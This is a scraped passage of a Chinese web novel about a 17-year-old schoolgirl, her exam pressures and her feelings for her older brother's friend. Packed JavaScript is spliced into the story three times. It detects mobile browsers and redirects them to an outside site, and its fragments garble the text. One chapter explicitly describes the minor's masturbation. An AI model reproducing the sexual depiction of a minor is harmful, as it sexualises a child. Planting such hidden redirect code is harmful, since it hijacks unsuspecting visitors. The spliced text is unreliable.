l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313234|182139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半天才停下来,嘴角收不回去,突然觉得如果昨天葛朝越在就好了。 不知道是不是默契,葛朝越在这时说:“如果我们能读一辈子大学就好了。” 无忧无虑,无拘无束。 哪怕是江译白,也会有过这样的想法。 野心尚未膨胀,欲望尚未发芽,现实也还没有来到眼前。 隔着一层名为年轻的玻璃,保护着他们脆弱的自尊心和易燃的骄傲。 葛朝越看了江译白发来的照片,熟悉的街道和好友的问候加速了他内心的雪崩。 这是他第一次去到离家这么远的城市,第一次离开父母和妹妹这么久。 他跟江译白说:“你现在住的地方离我以前的高中很近,我偶尔也会经过这条街,买一份小米粥或者热干面。那时候我以为我还能吃很多次小米粥和热干面,但仔细数一数好像也只去过几十次。听起来是不是很多?但对于一千多天的青春来说,小米粥和热干面只占据了我人生的百分之一。” 可就是这百分之一让葛朝越想回到过去。 他想回家吃饭,想随心所欲地吐槽,想花钱不看价格不看余额,想和生气的妹妹道歉然后再把她惹生气。 “江译白。”他真的有点崩溃了,“原来生活这么辛苦。我以前都不知道。” 江译白说:“嗯。我也没想到。” 他们都低估了自己的承受能力。 二十二岁,大学即将毕业的节点,他们需要承担的比他们预料的要多得多,也来得太快了。 葛朝越苦笑了一声:“葛思宁那厮还整天喊口号,说要快点长大。我看她上网买衣服,搜关键词都是搜什么‘温柔姐姐’、‘干练职场风’,你说好不好笑?一个乳臭未干的小丫头以为穿上了大人的衣服就能变成大人。” 江译白想起上次见面时,她穿的黑色毛衣。 他当时还很好奇葛思宁怎么换风格了,明明以前都喜欢鲜艳的颜色和繁复的款式。 但是他没有问,以为只是审美突变。 没想到背后还藏着这样的深意。 葛朝越难得说了句人话:“但我好想她啊。真的。” “想她就别老欺负她。” “这不是一回事。” “……” 葛朝越自言自语:“不知道她现在在干什么,最近有没有在跟我爸妈吵架。又长大了一岁,应该会懂事点吧?等我回去应该就不生气了吧?” 江译白:“不知道。” 但是提到葛思宁,他们的心都变软了。 他们已经远去的青春,有人在替他们经历着。 哪怕是总嫌她幼稚的葛朝越,内心深处其实也不想葛思宁长大。 当小孩是件幸福的事。 可惜小孩不明白。 “说真的,你找个时间帮我去哄哄她。” “嗯。” “但别和她说我想她了。” “为什么?” “怕她嘲笑我。” 江译白骂了句神经病。 挂了电话,太阳升起来了。 整座城市仿佛都沉浸在金色的希望里。 冬天的寒意在此刻消匿得无影无踪,豆浆喝完了,人更困了。 江译白突然就有些后悔,昨天没有答应葛思宁的邀约,而是浪费时间去看了一群无聊的人。 他想喝咖啡。 也想妹妹了。 - 这次月考有人欢喜有人愁,公示那天葛思宁发现,李函是他们第一批里面唯一没有达标的人。 吴思昨天就把他叫出去了,但是这是常态,谁也没多想。 葛思宁第一次收到他的假条,比谁请得都长,三天。 这三天对一个正常高中生来说将是无法安宁的三天。因为等他再回来的时候他的桌子一定会堆满试卷和提纲。 所有人都在跑,那么你慢下来,或者变成走,都是不可饶恕的。更别说停了。 调位以后,李函的座位一直空着。 他被调到了靠窗边的前排,一个只能看到一半黑板的位置。 葛思宁有时候学累了,会看着他乱七八糟的桌子发呆,回想之前摆得整整齐齐的样子。 她总觉得这像一种隐喻,有条不紊的李函的人生也以这一次退步为起点,开始变得凌乱。 23.第 23 章 他不在,班长的工作没人做,吴思提拔了一个副班,让她和葛思宁两个人一起分担李函的工作。 葛思宁这才知道当班长居然能有这么多事,她之前还有余力参加社团真是老天垂怜。 班干部开会的时候有人斗胆问过吴思,问李函什么时候回来。 葛思宁悄悄观察那个人的表情,看穿对方其实不是在关心,而是在试探。 好学生最怕请假,有时候宁愿放任自己情绪崩溃都不愿落下课程,好像离开了学校就等于离开了赛道,再回来就没有自己的赛道了,记录也会被清零。 而李函一请就是三天,现在都过去七天了,他还一直没有回来的迹象。 让人匪夷所思的同时,又心生羡慕。 学校太压抑了。 上次月考不少中层杀上来了,每次小测总有那么几个人在稳定进步,咬着前几名的的屁股不放,意图弯道超车。 学霸们享受过“人上人”的感觉,怎么舍得掉下去?除了加倍努力,别无他法。 然而人越是焦虑就越会对截然不同的生活产生向往。 竞争越是激烈,他们就越想知道李函去了哪里,有没有在偷偷学习。 葛思宁也很好奇,但只是单纯好奇。 吴思轻飘飘地回答:“他压力太大了,需要调解。你们平时也注意自己的身心健康,寻找合适的方式发泄。” 葛思宁觉得这番话好奇怪,意思是李函的身心不健康,请假休息的方式不合适吗? 她听得不舒服,但是被吴思这么一说,她又觉得自己最近压力真的有点大了。 尤其是挤不出时间运动以后。 葛思宁觉得自己在学习上的精力,每天都有被完全消耗。 但是学习以外,她还储存了不少待释放的能量。 这些能量是笨重的、混沌的、沉着的,不知道该怎么陈述。 每一个学到眼睛都睁不开的夜晚,每一个好不容易从学海里解脱出来的瞬间,每一个思绪脱离课堂和成绩之外的时刻,葛思宁都感到一阵口干舌燥。 她的某一部分灵魂不受控地到处乱窜,直到撞倒她内心深处名为羞耻的栅栏。 离家两公里的小区有一个设立在外面的丰巢,葛思宁把地址填到了那里。 在某个夜深人静的放学时间,她骑着自行车拐了个弯去取。 回到家洗完澡,葛思宁小心翼翼地拆开快递盒,并用打火机把上面已经隐藏的收件信息给烧掉。 确保万无一失后,她才敢把东西拿出来。 商家已经充了一部分电,葛思宁的手放在开关上,犹豫了一会儿,没有摁下去,而是打开手机,挑了一段英语听力原文,选择播放。 房间里充斥着机械冰冷的朗读声。 房门外,父母正好经过,要回房间睡觉了。 葛思宁屏息凝神地觉察着,等了五分钟,确认他们都上楼了,还要拉开门缝去确认。 确认外面真的空无一人了,她才缩回去,继续播放英语听力。 但是手机被她丢到书桌上,她人躺在床上。 葛思宁没有干过这种事,她对自己身体的所有认知都来源于严肃的生物书。 哪怕正处于发育,她洗澡或是照镜子的时候也没有过多地留意过自己逐渐长大的胸部、慢慢浓密的毛发、被暗沉色素占据的腋下,以及藏在双腿之间的,在本质上可以区分性别的器官。 她轻轻地吸了口气,双腿微分,先绕一圈,在找入口。 那是葛思宁第一次以取悦为目的去研究自己的身体,她非常紧张,同时又产生了一种奇妙的新鲜感——她难以置信自己拥有这具躯体十七年,竟然一直到今天才对其产生探索的兴趣。 她像触碰珍宝一样触摸着自己肌肤,觉察着每天都在使用、支撑她完成各项活动,却从未被她观察、欣赏过的部位。 每一寸都是那么熟悉,又那么陌生。她可以精确地找到自己膝盖上的因为跑步摔倒而留下的疤痕、长久握拍打球所磨砺出的厚茧、稀疏却细长的腿毛、还有小腿靠近脚踝的地方上天生的小小胎记。 她认识她们,但组合起来,才第一次认识自己。完整地。 温热的指腹在冰冷的空气中逐渐变凉,葛思宁泛起一阵鸡皮疙瘩,她抬手,把被子盖到了身上。 她胡思乱想着:感觉房间里有双眼睛在看着她。 很久以后,熟练以后,她才明白,那是她的胆怯。 胆怯暗中观察这一切。 但它的存在不是为了阻止,而是在期待被打破。 消毒后的小玩具亮着灯,开启以后发出轻微的嗡嗡声。 桌上的英语听力被设置成循环播放,已经不知道读到第几套卷子了,被子里起起伏伏,所有的声音都被包裹在里面,一平方米的柔软世界里装载着一个少女因初次尝试而颤抖不安的心脏。 被子的边缘开开合合,像蚌在呼吸。其实是她在透气。一张粉脸涨红,理智也跟着熟了,快乐从花蕊中间发芽,在她大胆的尝试下快速生长,飙出来的液体是鼓励的养分,迅速膨胀的枝干将她的灵魂端起,覆手便送上云霄。 良久,葛思宁猛地掀开被子,整个人呈大字型躺在床上。 她餍足又茫然地望着天花板,喉咙里一阵干涸的燥热,以至于需要她大张着嘴喘气。 白色天花板上,早已熄灭的灯像一颗为她点赞的爱心,虽然没有亮起,但是它识相地沉默着,在替她保守秘密。 大片大片的白云从眼前散去,葛思宁终于平静下来。 她翻了个身,把脸埋进枕头里。 感觉这段时间以来挤压的疲惫全都化作浮云,随风散开了。 - 葛思宁最近睡眠质量特别好,上课也精神多了,在早读结束以后几乎全军覆没的教室里,她抬头挺胸背单词的背影显得尤为突出。 一起装水的时候,张月忍不住问她:“你最近怎么这么精神?” 葛思宁心情很好地哼哼两声,面不改色地瞎说:“我每天晚上回到家都要绕小区跑两圈抒发压力。” 张月震惊:“你不累啊?” “不累。” 张月狐疑地打量她,但葛思宁脸上就写着四个字:神清气爽。 葛思宁先装完了,她一边拧紧瓶盖一边对张月说:“那我先走了。” 张月愣了一下,还没回应,葛思宁就已经转身离开了。 排在葛思宁后面的那个女生奇怪地看了张月一眼,眼神明晃晃地写着:这个人落单了。 在无论做什么事情都要成群结队的年纪里,张月认为自己已经很独立了。 她在班上也没什么朋友,前段时间和葛思宁聊过几次天,竟然让她生出自己和葛思宁已经很熟的错觉来。 张月摇摇头,命令自己把这种落差感清扫出去。 然而回到班上,新的邻桌看到她回来,语气奇怪地问了她一句:“你刚才是和葛思宁一起去装水吗?” 张月懵了,不知道她为什么会关注这种事。但是她的第六感告诉她,最好否认。于是她表情不自然地说:“没有啊。” 女生松了口气:“那就好。我就说嘛,你怎么会和葛思宁这种人玩到一起。” 至于这种人是哪种人,大家经常在讨论。 一个小团体讨论另一个小团体,所有小团体讨论没有小团体的人。 张月游走在许多个小团体之中,所以她什么都知道。 面对女生的偏见,张月笑了笑,没说什么。 挨过了月考,却不意味着接下来的日子就轻松了。 一个学期眨眼就过去了一半,眼看着天气越来越冷,同学们的精神状态都不是很好,吴思又开始搞事情,让他们在黑板报上写自己的理想大学和座右铭。 这对于内向的人来说其实是一件很羞耻的事情。 因为公示就代表着会被议论、调侃,如果当下的能力与梦想不匹配,还会被人加以嘲讽和耻笑。 年轻的骄傲经不起一丝一毫的怀疑和打击,哪怕这些流言蜚语在后来的岁月里只值一滴雨水的重量,也无法改变当下所造成的影响。 有的人为此发奋图强,但是有的人却为此一蹶不振。 对此吴思说,心理承受能力也是高考的一场考试。 不知道是不是一语成谶,在她说完这句话的第二天,李函回来上学了。 他看起来安然无恙,进门时仿佛已经悉知并接受自己被流放的方位,十分坦然地顶着众人的目光落座。 他的家长在前门和他说话,说到最后还给了他一个拥抱。 葛思宁看着这个温馨的情景,心里泛起一丝名为羡慕的涟漪——如果她请假那么久,别说葛天舒,连王远意都会有意见。 两三天已经是极限了,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319839|182139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李函一走就是十天,相当于这个学期他放了两次国庆。 这太可怕了。然而他的家长居然还能如此温和地接受。 葛思宁转着笔,抿唇,真好啊。唉。 她也想放假。 周六,结束了上午补课的葛思宁在难得的晴天下骑车回家。 徐之舟问她下午要不要一起去图书馆,葛思宁说:“你不如杀了我。” “你出来学习,我告诉你一个秘密。” 徐之舟的消息一般都是学校的内部消息,或者是被校方封锁的秘密,非一般人所能得知。 葛思宁非常感兴趣,忍痛砍价:“两小时。我回家吃个饭就去。不能再多了!我真的要学吐了!” 徐之舟:“成交。” 葛思宁一回到家,把书包往沙发上一甩就往厨房走,一边洗手一边问:“爸,今天吃什么?” 王远意看了眼她的书包,问:“你下午要出去啊?” “对。去图书馆。” 难得她这么积极。 王远意想了想,没告诉她晚上家里有人来做客的事,免得影响她。 在图书馆里订正错题订到下午四点,多一分钟都没犹豫,葛思宁站起来说:“我要回家了。” 徐之舟头都没抬:“好。” “好什么好?你还没跟我说是什么事呢!” 不等葛思宁发作,徐之舟已经收拾好东西背包了,意思是出去说。 站在暗淡的天际下,葛思宁看着天空隐隐飘来的两朵乌云,心想不会要下雨吧?她可没有伞! 徐之舟一边下阶梯一边说:“今天中午放学的时候,有人被抓了。” “啊?因为什么?” “亲嘴。” “……” 葛思宁心梗了一下,总觉得这两个字从徐之舟嘴巴里说出特别奇怪。 徐之舟继续说:“那两个人是你们班的。” “啊???” “小甲和小乙。你认识吗?” “……不熟。” 葛思宁心里大喊卧槽,有种都市传说被走近科学栏目定性为真的荒谬感——早恋就算了,他们还真敢在学校还有学校附近亲嘴啊! 徐之舟说:“因为是重点班的学生,所以老师们很重视。” 他看了一眼葛思宁。 “你最近小心点。” “?” 葛思宁莫名其妙。 她坐公交回家,前脚刚下车,后脚就下雨。 雨水不是一颗一颗砸下来,而是毫无征兆地淋下来。 葛思宁举着书包飞奔,心想她就不应该为了听八卦而去图书馆!学习误我! 她总算知道瓢泼大雨这个词是怎么来的了,才跑了一段路,葛思宁整个人就跟被人用水瓢泼过一样狼狈。 雨雾裹挟了整条小路,葛思宁恨不得自己能瞬移到家。 好在她机智,提前脱了眼镜,但是模糊的视线也没比沾水的镜框好到哪去,这不,埋头往前冲就撞到人了。 她心情很差,完全是凭借教养的本能在道歉。 “对不起、对不起!我没长眼!你没事吧?” 葛思宁首先注意到是头顶没有雨继续滑下来刺痛她的眼睛了,其次才听到那声轻笑。 在她过往的记忆里出现过数次,只要登场就宛如神兵天降般的笑声。 她抬头,果然看到了撑伞的江译白。 “我没事。” 他说是这样说,但是其实从葛思宁闯入眼帘开始,他就在加速朝她靠近。 相撞以后,江译白下意识地把伞倾斜,好让葛思宁占据更多的伞下空间。而他自己的肩头和裤腿已经全部被淋湿了。 葛思宁盯着那截被雨水洇染至深色的布料,喉咙里哽着一句“你为什么会在这里”无法脱口。 她眨了眨眼,睫毛都是湿的,像被淋过的蝴蝶翅膀,难以翩飞。 于是只好停在这里,让一颗心也被这场雨淋得沉甸甸。 她想自己的职业病又犯了,这样雨中救美的一幕太浪漫了。 她暂且不想知道江译白为何而来,因为这样她就可以把一切都当作命运的安排。 不过这个天选之子现在似乎有点生气。 他故作低沉地喊了一声:“葛思宁。” “你总不带伞。” “如果没遇到我,你怎么办?” 24.第 24 章 她学坏了。 各种意义上的。 只是江译白还不知道。 两只落汤鸡刚进家门,把王远意吓了一跳,赶忙把他们赶进卫生间里。 他在煎东西,于是只能叮嘱葛思宁:“你去你哥房间给小江找两套衣服出来!快,怎么淋成这样?葛思宁,出门前我不是和你说了记得带伞吗?” 葛思宁装没听见,领着江译白上楼。 突然他伸手捏了下自己后颈,葛思宁吓了一跳。 “问你呢。”他眼神凉凉的,细看又是温柔的,“怎么出门不带伞?” “书包很重吗?” 虚张声势。 葛思宁在心里很轻地哼了一声。 她眼珠黝黑,透出一股机灵劲。 “因为,本来是有男生要送我回家的。” 她没撒谎哦,徐之舟说了送她的。 不过葛思宁说不用,他就走了。 江译白听完果然有反应,双手环胸,大有审判之意。 上次他们虽然交涉过早恋的话题,但是只讨论了定义和缘由,根本没有进行教育。 是他的失策。 不过他当时那样做也是出于信任葛思宁。 他觉得葛思宁虽然单纯,但是很坚定。坚定的人是不会允许任何人或事来阻碍自己的。 如果有一天葛思宁真的决定和谁在一起了,也意味着那个人能够为她锦上添花。 所以可以的话,江译白只希望她能在毕业后再考虑这些事,而非扼杀她对恋爱的幻想。 葛思宁见他脸色不对,赶紧截住了他的话头,把他推进公用的卫生间里。 “你先去洗,我给你拿衣服。” 江译白抽了口凉气,眼看着她替自己把门关上。 他无奈地摇下头,开始脱衣服。 葛思宁在另一个卫生间里快速整理好自己,在湿头发上披了条毛巾就钻进葛朝越的衣柜,开始找衣服,然后拿着干净的浴巾和衣物去敲江译白的门。 他恭候多时。 卫生间里有浴霸,所以他洗完之后没穿。 听到葛思宁的声音,他拉开一条缝,把手伸出来。 葛思宁把眼睛闭得紧紧的。 江译白见状,没忍住逗她。 “怕长针眼啊?” 他捏着衣服没拿走,葛思宁等了一会儿,直接塞到他手里,捂着脸跑了。 他在后面笑。 葛思宁心想,笑吧,继续笑。 等她长大,有他好看。 她没回答江译白的问题,因为没必要。 她不是怕长针眼,也不是装矜持。 而是怕自己看了还想看。 洗完澡就有饭吃了,不过江译白看到葛思宁还滴着水的头发,又把她抓回去用吹风机吹。 葛思宁以前在偶像剧里看过类似的情景,一般都发生在男女主双双倒在床上以后,画面突然切换到浴室,中间的那一段被留白。 她小时候还以为床上有跳蚤,所以躺下去以后就要起来洗头。 也是近两年才明白,原来是那么回事。 但这件事在她心里有也仅仅是有个定义,例如“上床”、“做.爱”。具体是怎么展开的,葛思宁不好奇,也不明白。 但是最近,她开始好奇了。 于是通过各种手段去学习、参考、借鉴。 时至今日,她已经完全地明白那段空白有多么精彩。 并且顿悟,在现实里这段剧情会完整地发生,主角会切身地体会。 所谓留白,都是给观众的。 所以当江译白站在盥洗池的镜前给她吹头发时,葛思宁很难克制住自己连篇的浮想。 她闻着他身上不同于平时,却熟悉的味道,有一种他们已经相爱的错觉。 不过这错觉也仅仅维持了十秒。 这十秒江译白在插电源,调整温度。 然后对着她的脑袋一通狂吹。 那双被葛思宁垂涎已久的手现在变成了作案工具,把她的头翻来覆去,甚至还扯掉了她两根头发。 她忍着没吭声,心里一直默念:我是女主,我要忍耐。 偏偏这时,江译白说话了。 因为王远意在下面催,所以他也不好耽误太久,吹头发的时候主要讲究一个快。而且因为他自己平时也是这样吹的,所以不觉得这样对葛思宁有哪里不对。 葛思宁头发多,长度刚到锁骨,吹得略干还没梳整齐,头发一股脑地往前倒,垂下来蓬松地遮住她的脸。 他指着镜子说:“你看你现在像不像一个爆炸人?” 王远意端完最后一道菜,突然听到一声惨叫,然后就是葛思宁的毛绒拖鞋啪嗒啪嗒下楼的声音。 他问:“小江呢?” 葛思宁:“不知道。” 王远意看了看楼上,喊了江译白一声,很快看到他一瘸一拐地下来。 王远意问:“你踩他了?” “没有啊。”葛思宁拿起筷子直接吃饭。 王远意拍了下她的手,“没礼貌。” 江译白落座,他拉开了葛思宁旁边的椅子,因为他每次来都是坐这个位置,但是葛思宁这次不让他坐了。 两个人大眼瞪小眼,王远意略带歉意地说:“译白,坐这边吧。” “好的。” 葛思宁从鼻子里飘出一声哼。 王远意不知道他们在楼上发生了什么,作为家长,得说些场面话来缓解气氛:“朝越不在家,思宁估计是把你当成亲哥哥了,一点礼貌都没有,你别见怪。” 江译白脸上倒没有不悦,“没关系。” 怎知王远意的话直接踩到了葛思宁的痛点,她怒目圆瞪:“谁把他当亲哥哥了!” 王远意:“你之前不就是把译白当哥哥吗?以前哥哥给你上课的时候,你天天跟在人家屁股后面。后来人回去上学了,你还伤心了好一段时间,你忘记了?” “我哪有!” 葛思宁断然否认,忐忑地去看江译白。 后者轻描淡写地夹了块鱼放进嘴里,望向她时眉梢轻扬,那眼神好像在问:是吗?你这么在乎我? 葛思宁恨不得把脸埋进碗里,偏偏王远意说个不停,话里话外都有一种让江译白别在意她的小脾气,她只是太在乎的语气。 葛思宁不止一次想反驳,但是又怕说漏嘴了。 最让她破防的其实是,王远意没有说错。 她光速扒完饭,夹着尾巴滚了。 本来江译白突然来家里做客这件事,葛思宁是很惊喜的。 但是现在被这么一弄,她顿时觉得后悔起来。 早知道她就死在图书馆了。 在床上懊恼了一会儿,葛思宁爬起来写作业,企图分散自己的注意力。 她一旦沉下心去做什么,就很难被打断。等合上练习册,时间已经过去一个多小时了。 楼下不知道从什么时候开始没有了动静,葛思宁心头一跳,开门下楼,发现客厅里灭了灯。 别说江译白了,连王远意也不在。 她的心情突然沉到潭底。 自从江译白每次都郑重和她告别以后,她已经没办法再接受他悄无声息的离开。 葛思宁摸黑走到沙发上,企图找到他还在家里的证据。 过了十分钟,王远意回来了。 他打开灯,看到趴在沙发上的葛思宁,一下就明白过来。 但他故意说:“译白已经走了。” 葛思宁猛地坐起来,欲言又止。 王远意笑了两声,刻意强调:“刚走。” 葛思宁果然反应很大:“我又没问!” “好、好。”他也不揭穿,回房间了。 葛思宁埋回沙发里,火速掏出手机,想看江译白有没有给她发消息。 很巧,亮屏的瞬间,他的信息刚好进来。 一秒前。 [100]:出来。 葛思宁咬着唇,不知道这是什么意思。 [宁]:去哪? [100]:院子里。 原来没走。 葛思宁跳下沙发,穿反了拖鞋,不得已又穿一遍。 她胡乱裹着外套,拉链都等不及拉,双手环胸跑了出去。 江逾白在靠近门口的夜灯下等她。 旁边是鹅卵石铺成的小路,这个季节是开不出什么花来了,但他站在那里,恍然是一道风景。 葛思宁站在三步之外欣赏了一会儿,等江译白开口了,才走过去。 她就是这么矫情傲慢,哪怕心里已经迫不及待了,也要对方给她台阶下,才愿意往下走。 江译白以为她还在闹脾气,于是用了点力气,捏了下她的脸。 葛思宁顿时黑脸,往后躲:“干嘛?” “讨回公道。” 她在浴室里踩了他一脚,这笔帐他还没算呢。 葛思宁顾左右而言他:“我长大了,男女授受不亲。” 江译白张张嘴,竟然不知道该怎么接这句话。 他笑了,气笑的。 “才长多大?” “十七岁,马上成年了。”她暗示道。 “所以你开始允许男生送你回家了?”他找到重点,“十六岁收情书,十七岁就可以谈了?” “你污蔑我。” “这些事情都是你告诉我的。” 但我告诉你的目的不是这个。 葛思宁咬着唇,倔强地望着他。 江译白其实大概能猜到,葛思宁今天说的话或许只是想炫耀,或是气一气他。 这是一种孩子气的挑衅,没有恶意,只是想被注意。 毕竟他去接她的时候,她是一个人回来的。 所以他没有继续这个话题,以免自己真的被她激怒,从而说出她不想听的话来。 他把手上精致的购物袋递过去,两个,略有点沉。 葛思宁缩着手,没接:“什么?” 她刚才走过来的时候就看到了,但一直没问。她不确定是不是给她的。 “快拿着。”江译白催她,“别让叔叔看见了。” 她却还是问:“什么?” “礼物。” “什么礼物?” “你哥补偿给你的生日礼物。” 葛思宁翻了个白眼,暴力扯过来,转身就走。 江译白叫住她。 “还有什么事?” 江译白被她的不耐烦伤到了,“不和我说再见吗?” 葛思宁的现在的心情有点微妙,她看着江译白这张脸,总觉得他又变了一点,但是又说不上来哪里变了。 可人就是会变的,她自己也是。 她之所以会在某个瞬间为这些变化而感到难过,是因为他们不在彼此身边,所以不论多仔细多敏锐,这察觉也具有延时性。 而她敏感的天赋在这方面赋予了她太多沉重的情绪。 葛思宁在成长的过程中慢慢了解到更多的知识,这些知识拓宽了她对爱的认知,让她清晰地感知到她所有关于爱情的向往都来源于眼前的这个人。 她越是了解爱情和爱情的形式,就越是笃定自己对他的感情,以至于开始觉得不满足。 她越来越在乎一些事情,比如她还来得及吗。 “哥哥。” 她想起自己待填的志向卡片。 “嗯?” 她的梦想在寒风凛凛的夜色中望着她。 “我以后考你的学校,好不好?” 问这句话的时候她很冷静,冷静到她自己都不敢想象。 那是一种胸有成竹的笃定,葛思宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325593|182139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确信以自己现在的成绩,只要一直保持下去就肯定没有问题。 至于唯一的不确定性,她暂时还没有资格去想。 一如江译白所认为的那样,葛思宁很清醒也很坚定,她很清楚,现在的他们不合适。 哪里都不合适。 所以她要创造条件,越多越好。 江译白有点意外她突然来这么一句,他以为她是觉得葛朝越平时回家很方便,亦或者说是想留在父母身边。而且他们学校确实不差,是很优异的学府,葛思宁心生向往也不奇怪。 那时的他从来没有想过葛思宁会以他为结果,她想要冲锋陷阵的战场居然是他的心脏。 所以面对妹妹天真无邪的梦想,江译白表示支持。 “好是好。但是我们学校很难考。” “我会努力。” 她信誓旦旦的样子让江译白心下一动。 曾几何时他也有过这种确信自己能征服一切难题的勇气,尽管现在生活给予了他太多不确定性,但是葛思宁所燃烧起来的斗志,在此刻波及且温暖到了他。 所以他说好。 “加油,思宁。”江译白的眼里闪着信任的光,“我等你。” 虽然等她上大学,江译白都已经毕业了。 但是如果能走他走过的路,去看他见过的风景,于葛思宁来说也是一场奇旅。 她无比期待这段路程的开始。 葛思宁提着两个购物袋回到房间里,在打开之前,她以为两个都是葛朝越送的——因为是补偿,所以多送一份也理所应当。 但是在拆出那条浅绿色的曳地连衣裙时,葛思宁突然意识到这一份不是哥哥的手笔,而是江译白的礼物。 她急切地在盒子里寻找着什么,果然在底部找到他手写的卡片。 「绿是果实成熟的前兆。」 他的字迹太好认了,他所写的每一张卡片至今都还藏在她的抽屉里。 葛思宁反反复复地读,却仍一头雾水。 她尝试百度,浏览过无数解读后也只是一知半解。 直到她把那条裙子放进衣柜里,在一片暗色中,他的礼物鲜艳得独树一帜。 葛思宁突然就理解了他的用意。 - 江译白这次来不仅是来找葛思宁,他还约了陈锐。 所以从葛家出来以后,他又去了陈锐家。 站在小区楼下看着对方发来的:“稍等。” 江译白并不着急,回了句:“你慢慢来。” 葛朝越恰好打来电话。 “礼物送出去了?” “嗯。” “葛思宁什么反应?有没有答应把我从小黑屋里放出来?” 江译白沉默了几秒。 “我忘了。” “……” 那头发出尖锐的爆鸣声,江译白把手机拿远了一点。 葛朝越气得在宿舍里跑步,三圈以后,他气喘吁吁地说:“几千块钱打水漂了!” 江译白倒是很冷静:“不至于。” 葛朝越:“?” 江译白想到王远意的话,“思宁也挺想你的。” “……真的?” “嗯。” “她亲口说的?” 江译白笑了一声,“你觉得可能吗?” “……也是。” 好吧,葛朝越叹了口气,反正他也快回去了。 他问:“我也就算了,你干嘛买那么贵的礼物给她?” 那条裙子是名牌,葛朝越平时都不舍得给自己买那么贵的衣服,更别说江译白了。 当事人却觉得还好:“不是说女孩要富养?” “……你真是,我都不知道怎么说了。”葛朝越对他这幅亲哥做派气得牙痒。 江译白在路灯底下看月亮,十二月下旬的冬,入夜后有种渗进骨头般的冷。 他裹紧了围巾,一边听葛朝越喋喋不休地吐槽,一边想,其实自己挺装的。 他没有葛思宁身边的任何一个长辈有钱,但是在力所能及的范围内,江译白不想被她看轻。 不知道平静了那么多年的性格怎么突然开始较劲,可能是因为她连点一杯咖啡、选一个蛋糕都要计较会花他多少钱;可能是她现在已经不需要补习了,却还是想为他创造一个赚钱的机会;也可能是,她看向自己时,总是不自觉流露出忧愁的眼睛。 江译白不喜欢她那样的眼神,不是因为这样的怜悯中伤了他的自尊心,而是他认为那样漂亮灵润的双眸,只适合容纳欣悦。 所以他用这样的方式打消她的误解,并且企图给她建立一种习惯——对他一视同仁就好。 和对待其他人一样就好,撒泼打滚,肆意妄为,都可以。 他和她所有的长辈一样,都期盼着她好,所以那些让她担心的、有所顾虑的,江译白希望它们能不存在。 陈锐下来了,江译白挂了电话。 书有点重,他搬得有点吃力。 江译白往前走了两步伸手接过,陈锐松了口气,擦去额角的汗:“都在这里了,里面可能有一些笔记,你将就着用。” “没事。”江译白说,“谢谢。” “客气,反正我也不需要了。” 陈锐叉着腰,呼吸间有白雾,“你准备什么时候出发?” 江译白坦诚地说:“快的话毕业后,慢的话,再过一年吧。想多攒点钱。” 陈锐点点头,又问:“你从哪来?公司?” “没。我今天刚好过来帮葛朝越跑腿。” “哦~”不用说陈锐也知道跑什么腿了,语调上扬地应了一声,脸上露出幸灾乐祸的笑容。 接着他们聊了几句葛朝越的近况。 聊着聊着,陈锐突然想到。 “对了,思宁知道你打算出国的事情吗?” 25.第 25 章 快到圣诞节了,王远意买了一棵圣诞树回来。 今年这棵葛思宁还挺喜欢的,但是王远意叫她一起装饰,她却翘着手不动,扁扁嘴:“让葛朝越回来弄吧。” 每逢这种节日,家里都会布置。一是因为王远意喜欢仪式感,二是葛天舒的客人会借故上门拜访。 月考后葛思宁恢复了九点回家的作息,虽然不和徐之舟一起走了,但是她也不让王远意来接,说是放学的人流很多,并不危险。 此刻她刚到家,躺在沙发上吃零食。 今天的知识摄入太多了,葛思宁学到想吐。 她茫茫然看着天花板,又看向电视,最后目光落到桌子上红艳艳的苹果。 她不禁抱怨:“这个品种好贵啊,有必要给客人吃了这么好的吗?” 这话可不能让葛天舒听见,不然准要说葛思宁小家子气。 但是葛思宁就是很不待见她的客人,每一个都长着伪善的脸。即便会得到他们的赠礼和夸奖,葛思宁也大方不起来。 王远意正在挂彩灯,闻言看了苹果一眼,解释道:“不是我买的,前两天小江来的时候买的。” 葛思宁捻薯片的手一顿。 他还真舍得。 提起江译白,王远意又是一顿夸,从那天晚上和江译白一起去搓澡说到葛朝越快回来了,他想把葛朝越的朋友们也邀请来过圣诞节,问葛思宁要不要也请几个同学。 葛思宁机械地吃着薯片,淡淡道:“我没有可以带来家里玩的同学。” 她和班上的人的关系都淡淡的,唯一的朋友徐之舟又不过洋节。 这段时间学校里盛行送圣诞贺卡,葛思宁收到一张。 张月送的。 她当时表情有些尴尬,嗫嚅着说:“多买了一张,你别嫌弃。” 葛思宁就当真了。 不过她倒是受到启发,给徐之舟也送了一张。 结果徐之舟说不要。 葛思宁问:“为什么?” 徐之舟解释道:“我们家信佛。” 所以庆祝耶稣生日这种事,显得有点心不诚了。 坐着无聊,葛思宁去院子里溜达,没走两步就钻进花房里。 这里常年恒温,为了给植物和金鱼提供一个舒适且宜生长的环境,王远意下了不少功夫。 果不其然又看见了一条新泰狮,葛思宁仔细确认了一下,确实是没见过的新成员。 她撇撇嘴,觉得江译白真是大方。 无论是对她,还是对她家。 